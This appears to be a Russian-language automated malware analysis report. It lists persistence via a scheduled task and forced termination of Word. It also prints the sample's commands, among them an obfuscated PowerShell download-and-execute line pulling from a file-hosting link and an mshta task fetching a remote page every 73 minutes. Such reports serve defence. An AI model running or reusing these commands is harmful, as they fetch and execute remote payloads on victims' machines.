Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\micsrssowfwworsald
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im WinWord.exe
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (I'r'M('https://www.mediafire.com/file/jiyu4nqdg0oqymj/1.txt/file') -useB) | .('{欠}{ГҐВђ—}'.replace('ГҐВђ—','0').replace('欠','1')-f'ä½ ','Г§–ВЇ').replace('Г§–ВЇ','I').replace('ä½... (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 73 /tn micsrssowfwWorsald /F /tr """Mshta""""""http://www.textilexchane.xyz/p/2.html""" (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /f /im WinWord.exe (со скрытым окном)
